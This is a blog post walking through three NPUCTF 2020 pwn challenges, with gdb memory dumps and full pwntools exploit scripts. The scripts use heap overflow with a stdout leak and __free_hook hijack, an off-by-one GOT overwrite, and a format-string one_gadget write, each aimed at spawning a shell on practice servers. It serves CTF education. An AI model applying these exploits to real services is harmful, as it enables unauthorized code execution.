avatar

NPUCTF 2020 PWN WriteUP

npuctf_2020_bad_guy

官方writeup: NPUCTF 2020 WriteUP

checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

基本功能

def add(idx, size, content):
sh.sendlineafter(">>",'1')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(size))
sh.sendafter(":",content)

def edit(idx, content):
sh.sendlineafter(">>",'2')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(len(content)))
sh.sendafter(":",content)

def free(idx):
sh.sendlineafter(">>",'3')
sh.sendlineafter(":",str(idx))

edit

--count;
printf("Index :");
v1 = read_num();
printf("size: ");
nbytes = read_num();
if ( !heaparray[2 * v1 + 1] || v1 > 9 )
return puts("Bad Guy!");
printf("content: ");
return read(0, heaparray[2 * v1 + 1], nbytes);

count决定edit只能使用4次,而且没有规定 size 的大小,造成 堆溢出

思路

  • 1. 堆溢出,让chunk加入unsorted bin
  • **2. **再次堆溢出,覆盖 unsorted binfd 的低两位地址为"\xdd\x25",因为这样就可以申请到 IO_2_1_stderr_ 的chunk,就可以 泄露libc的基址
  • 3. 使用 free_hook 填入 system 或者 one_gadget,然后get shell

gdb

0x0 准备工作

使用echo 0 > /proc/sys/kernel/randomize_va_space关闭linux中的随机地址偏移,相当于在本地pie保护失效,便于我们调试

0x1 堆溢出进入unsorted bin

code

add(0, 0x18, 'a'*0x18)
add(1, 0x18, 'a'*0x18)
add(2, 0x68, 'a'*0x68)
add(3, 0x68, 'a'*0x68)
edit(0,(0x20-8)*'b'+p64(0x91))#chunk1->size=0x80
free(1)#unsorted bin : chunk1
free(2)#unsorted bin : chunk2->chunk1

gdb

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
smallbins
empty
largebins
empty
pwndbg> x/12gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x6262626262626262 0x6262626262626262
0x555555757020: 0x6262626262626262 0x0000000000000091
0x555555757030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757040: 0x6161616161616161 0x0000000000000071
0x555555757050: 0x0000000000000000 0x6161616161616161

被free的空间大小为被我们修改的 size域 : 0x90

接着我们先把fastbin的chunk取出来

0x2 覆盖 unsorted bin 的 fd

code

add(4, 0x20-8, (0x20-8)*'c')#unsorted bin : chunk2
edit(0, (0x20-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p16(0x25dd))
gdb.attach(sh)

gdb

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 —▸ 0x7ffff7dd25dd (_IO_2_1_stderr_+157) ◂— 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x555555757040 —▸ 0x7ffff7dd25dd (_IO_2_1_stderr_+157) ◂— 0x0
BK: 0x555555757040 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757040 /* '@puUUU' */
smallbins
empty
largebins
empty
pwndbg> x/12gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x6262626262626262 0x6262626262626262
0x555555757020: 0x6262626262626262 0x0000000000000021
0x555555757030: 0x6262626262626262 0x6262626262626262
0x555555757040: 0x6262626262626262 0x0000000000000071
0x555555757050: 0x00007ffff7dd25dd 0x00007ffff7dd1b78

中间多出了一块大小为0x10的fastbin,同时 unsorted binfd 被修改为 0x00007ffff7dd25dd ,同时 0x00007ffff7dd25dd 也是

pwndbg> x/gx 0x00007ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000

那么我们在申请一个chunk,一定是指向 IO_2_1_stderr+157

0x3 修改 IO_FILE

前置

此时的stderr结构体为

pwndbg> p *(struct _IO_FILE_plus *) stderr
$1 = {
file = {
_flags = -72540026,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

此时的 _IO_2_1_stderr的内容

pwndbg> x/32gx 0x7ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0xfff7dd06e0000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xfff7dd26a3000000
0x7ffff7dd262d <_IO_2_1_stdout_+13>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd263d <_IO_2_1_stdout_+29>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd264d <_IO_2_1_stdout_+45>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd265d <_IO_2_1_stdout_+61>: 0xfff7dd26a400007f 0x000000000000007f
0x7ffff7dd266d <_IO_2_1_stdout_+77>: 0x0000000000000000 0x0000000000000000

那么我们需要按照这个结构体的大概样式构造一个payload去修改,最重要的部分是修改 flags 标志位,这样就可以强行输出

code

payload = 'a'*3+p64(0)*6
payload += p64(0xfbad1887)
payload += p64(0) * 3
payload += '\x40'
add(5, 0x70-8, 0x68*'d')#chunk5-> iofile(in chunk6)unsoted bin :
add(6, 0x70-8, payload)#chunk6(in <_IO_2_1_stderr_+157>)<-chunk5
gdb.attach(sh)

gdb

pwndbg> x/32gx 0x7ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000616161 0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad1887000000 0x0000000000000000
0x7ffff7dd262d <_IO_2_1_stdout_+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd263d <_IO_2_1_stdout_+29>: 0xfff7dd2640000000 0xfff7dd26a300007f
0x7ffff7dd264d <_IO_2_1_stdout_+45>: 0xfff7dd26a300007f 0xfff7dd26a300007f

<_IO_2_1_stderr_+221>0x00fbad2887变为了0x00fbad1887,那么继续执行,看看会输出什么

libc_leak.png

pwndbg> x/gx 0x7ffff7dd2640
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3

输出了<_IO_2_1_stdout_+32>的地址,开始计算libc_base偏移

0x7ffff7dd2640-0x7ffff7a0d000=0x3c5640

得到偏移后就可以开始计算各种地址

0x4 执行攻击

其实这里可以使用malloc_hook+one_gadget,但是需要使用realloc_hook来调节栈去满足one_gadget的条件

我们修改 unsorted binBK 指针指向 free_hook-35 ,使得下一分配在 free_hook-29 的可写入区域

unsortedbin
all [corrupted]
FD: 0x555555757040 ◂— 0x0
BK: 0x555555757040 —▸ 0x7ffff7dd378b (_IO_stdfile_1_lock+11) ◂— 0x0

再继续申请一个大小为0x68的chunk,再free,修复了unsoted bin

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 ◂— 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x555555757040 ◂— 0x0
BK: 0x7ffff7dd378b (_IO_stdfile_1_lock+11) ◂— 0x0

继续通过溢出将 **unsorted bin ** 的 FD 改为 free_hook - 0x10,并且将chunk_1的content改为"/bin/sh\x00"

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 —▸ 0x7ffff7dd3798 (_IO_stdfile_0_lock+8) ◂— 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x555555757040 —▸ 0x7ffff7dd3798 (_IO_stdfile_0_lock+8) ◂— 0x0
BK: 0x7ffff7dd378b (_IO_stdfile_1_lock+11) ◂— 0x0

再申请两次,第一次分配fastbin中的chunk;

第二次分配 unsorte bin 中的chunk,同时将system填入free_hook

pwndbg> x/6gx 0x7ffff7dd378b+29-0x10
0x7ffff7dd3798 <_IO_stdfile_0_lock+8>: 0x0000000000000000 0x000000000000007f
0x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a52390 0x0000000000000000
0x7ffff7dd37b8 <next_to_use.11232>: 0x0000000000000000 0x0000000000000000
pwndbg> x/gx 0x00007ffff7a52390
0x7ffff7a52390 <__libc_system>: 0xfa86e90b74ff8548

最后free(0)相当于:从free_hook位置的值(system,正常下为free),对&chunk0(“/bin/sh\x00”)进行操做,最终取得shell

EXP

#-*-coding:UTF-8-*-
from pwn import *
elf=ELF("./npuctf_2020_bad_guy")
libc=ELF("/home/joe1sn/libc/64/libc-2.23.so")
sh=0

lg = lambda name,data : sh.success(name + " 0x%x" % data)

def add(idx, size, content):
sh.sendlineafter(">>",'1')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(size))
sh.sendafter(":",content)


def edit(idx, content):
sh.sendlineafter(">>",'2')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(len(content)))
sh.sendafter(":",content)


def free(idx):
sh.sendlineafter(">>",'3')
sh.sendlineafter(":",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./npuctf_2020_bad_guy")
else:
sh = remote(ip,port)

add(0, 0x18, 'a'*0x18)
add(1, 0x18, 'a'*0x18)
add(2, 0x68, 'a'*0x68)
add(3, 0x68, 'a'*0x68)
edit(0,(0x20-8)*'b'+p64(0x91))#chunk1->size=0x80
free(1)#unsorted bin : chunk1
free(2)#unsorted bin : chunk2->chunk1
#gdb.attach(sh)
add(4, 0x20-8, (0x20-8)*'c')#unsorted bin : chunk2

# overflow repaire offset chunk1->size unsortedbin_low_2_byte
edit(0, (0x20-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p16(0x25dd))
#gdb.attach(sh)
'''
chunk2
0x555555757040 FASTBIN {
prev_size = 0x6262626262626262,
size = 113,
fd = 0x7ffff7dd25dd <_IO_2_1_stderr_+157>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
'''

#iofile_struct
payload = 'a'*3+p64(0)*6
payload += p64(0xfbad1887)
payload += p64(0) * 3
payload += '\x40'
add(5, 0x70-8, 0x68*'d')#chunk5-> iofile(in chunk6)unsoted bin :
add(6, 0x70-8, payload)#chunk6(in <_IO_2_1_stderr_+157>)<-chunk5
#gdb.attach(sh)
sleep(1) #结束read,payload长度不够
addr_stdout_ = u64(sh.recv(6).ljust(8, '\x00'))#leak
libcbase = addr_stdout_ - 0x3c5640
free_hook = libcbase + libc.sym['__free_hook']
system_addr = libcbase + libc.sym['system']
main_arena = libcbase + 0x3c4b78

log.success('addr stdout_ -> '+hex(addr_stdout_))
log.success('malloc hook -> '+hex(free_hook))
log.success('system '+hex(system_addr))
#gdb.attach(sh)
#
edit(0, (0x20-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p64(0)+p64(free_hook-24-5)+p64(0x70))

add(7, 0x70-8, (0x70-8)*'x')#chunk7->free_hook
free(7)
gdb.attach(sh)
edit(0, '/bin/sh\x00'+(0x20-8-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p64(free_hook-0x10))
add(7, 0x70-8, (0x70-8)*'a')
add(7, 0x70-8, p64(system_addr))
sleep(1.5)
free(0)
sh.interactive()

if __name__ == '__main__':
#main(1,1,0,0)
while True:
try:
main("node3.buuoj.cn","29056",0,0)
except:
sh.close()
continue
else:
sh.close()
break

npuctf_2020_easyheap

checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

基本功能

def create_24(text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Size of Heap(0x10 or 0x20 only) : ","24")
sh.sendlineafter("Content:",text)

def create_56(text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Size of Heap(0x10 or 0x20 only) : ","56")
sh.sendlineafter("Content:",text)

def edit(idx,text):
sh.sendlineafter("Your choice :","2")
sh.sendlineafter("Index :",str(idx))
sh.sendlineafter("Content: ",text)

def show(idx):
sh.sendlineafter("Your choice :","3")
sh.sendlineafter(":",str(idx))

def delete(idx):
sh.sendlineafter("Your choice :","4")
sh.sendlineafter("Index :",str(idx))

edit

if ( heaparray[v1] )
{
printf("Content: ");
read_input((void *)heaparray[v1][1], *heaparray[v1] + 1LL);// off by ine
puts("Done!");
}

存在 **off by one **,可以造成溢出覆盖size域来伪装出各种大小的chunk

思路

  • 1. 通过 off by one 制造一个0x30大小的chunk
  • 2. 申请一个大小为0x30,伪造一个chunk,并泄露地址
  • 3. 改free为system,get shell

gdb

code

create_24("aaaa")
create_24("bbbb")
create_24("/bin/sh\x00")
sh.recvuntil("Done!\n")
edit(0,'a'*0x10+p64(0)+p64(0x41))
sh.recvuntil("Done!\n")
delete(1)
create_56('a'*0x10+p64(0)+p64(0x21)+p64(0x40)+p64(elf.got['free']))

gdb

pwndbg> x/32gx 0x75e250
0x75e250: 0x0000000000000000 0x0000000000000021
0x75e260: 0x0000000000000018 0x000000000075e280
0x75e270: 0x0000000000000000 0x0000000000000021
0x75e280: 0x6161616161616161 0x6161616161616161
0x75e290: 0x0000000000000000 0x0000000000000041
0x75e2a0: 0x6161616161616161 0x6161616161616161
0x75e2b0: 0x0000000000000000 0x0000000000000021
0x75e2c0: 0x0000000000000040 0x0000000000602018

这个时候的chunk_2(0开始)的内容大小为0x40,内容为free@got,那么直接使用show功能,进而泄露libc

EXP

from pwn import *
elf =ELF("./npuctf_2020_easyheap")
libc = ELF("/home/joe1sn/libc/64/libc-2.27.so")
sh = 0

def create_24(text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Size of Heap(0x10 or 0x20 only) : ","24")
sh.sendlineafter("Content:",text)

def create_56(text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Size of Heap(0x10 or 0x20 only) : ","56")
sh.sendlineafter("Content:",text)

def edit(idx,text):
sh.sendlineafter("Your choice :","2")
sh.sendlineafter("Index :",str(idx))
sh.sendlineafter("Content: ",text)

def show(idx):
sh.sendlineafter("Your choice :","3")
sh.sendlineafter(":",str(idx))

def delete(idx):
sh.sendlineafter("Your choice :","4")
sh.sendlineafter("Index :",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./npuctf_2020_easyheap")
else:
sh = remote(ip,port)

create_24("aaaa")
create_24("bbbb")
create_24("/bin/sh\x00")
sh.recvuntil("Done!\n")
edit(0,'a'*0x10+p64(0)+p64(0x41))
sh.recvuntil("Done!\n")
delete(1)
create_56('a'*0x10+p64(0)+p64(0x21)+p64(0x40)+p64(elf.got['free']))

show(1)
sleep(1)

leak = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
base = leak-libc.sym["free"]
system = base+libc.sym["system"]

success("leak -> 0x%x",leak)
success("base -> 0x%x",base)
success("system -> 0x%x",system)
#gdb.attach(sh)
edit(1,p64(system))
delete(2)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn",26918,1,1)

npuctf_2020_level2

checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

IDA

main

while ( 1 )
{
read(0, buf, 100uLL);
if ( !strcmp(buf, "66666666") )
break;
printf(buf, "66666666");
}

很明显的字符串格式化漏洞

思路

  • 1. 泄露程序的基地址
  • 2. 利用两个指针,通过任意地址写,劫持两个指针,并将ret改为one_gadget

EXP

from pwn import *
elf =ELF("./npuctf_2020_level2")
libc = ELF("/home/joe1sn/libc/64/libc-2.27.so")
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + " 0x%x" % data)
se = lambda payload: sh.send(payload)
sl = lambda payload: sh.sendline(payload)

def leak(i):
sl("%"+str(i)+"$p")
sh.recvuntil("0x")
return int(sh.recv(12),16)

def attack(offset1,offset2):
#write 2byte(hn) in offset1, using 'flag' to trace
payload = "%"+str(offset1)+"c%9$hnflag"
sh.sendline(payload)
sh.recvuntil("flag")

#write 2byte(hn) in offset2, using 'flag' to trace
payload = "%"+str(offset2)+"c%35$hnflag"
sh.sendline(payload)
sh.recvuntil("flag")

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./npuctf_2020_level2")
else:
sh = remote(ip,port)
libc_base=leak(7)- libc.sym['__libc_start_main'] -231
elf_base=leak(9)-232
onegadget = libc_base+0x10a38c
lg("libc base -> ",libc_base)
lg("elf base -> ",elf_base)
lg("one gadget -> ",onegadget)
lg("%9$p -> ",leak(9))
lg("%35$p -> ",leak(35))
#gdb.attach(sh)
gdb.attach(sh)
off_stack=elf_base&0xffff #elf base low 2 byte

#writing to elf base + 8 with 2 byte
one_off=onegadget&0xffff #og low 2 byte
lg("off_stack+8 -> ",off_stack+8)
lg("one_off -> ",one_off)
attack(off_stack+8,one_off)
#gdb.attach(sh)

#writing to elf base + 8 with 2 byte
one_off=(onegadget>>16)&0xffff #og new 2 byte
lg("off_stack+10 -> ",off_stack+10)
lg("one_off -> ",one_off)
attack(off_stack+10,one_off)

sh.sendline('66666666\x00')#break th loop
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn",29848,1,0)
Author: Joe1sn
Link: http://blog.joe1sn.top/2020/NPUCTF_2020_pwn/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信